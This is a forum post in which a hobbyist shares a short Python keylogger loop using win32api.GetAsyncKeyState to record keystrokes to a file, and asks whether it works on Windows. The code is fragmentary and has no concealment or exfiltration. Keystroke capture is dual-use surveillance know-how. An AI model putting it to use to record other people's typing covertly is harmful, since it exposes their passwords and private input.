Keylogger in Python

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Gonzalo Gonza
    New Member
    • Nov 2010
    • 16

    Keylogger in Python

    Hello, I was wondering about events and that kind of things, so I decided to do a program that would listen to my keystrokes.
    The (core) code is the following:
    Code:
    while 1:
    	keyAscii = 0
    	for i in range(32, 256):
    		key_log = win32api.GetAsyncKeyState(i)
    		if key_log == -32767:
    			print i
    			key_end = 81
    			keylog_file.write(chr(i))
    			if i == key_end:
    				keylog_file.close()
    				keyin = open("cv","r")
    Where cv is the file
    I made this with a lot of help of google, but as I use linux, i don't know if this would work in windows.
    Will it?
    Won't it?
    Whay?

    Thank you very much
Working...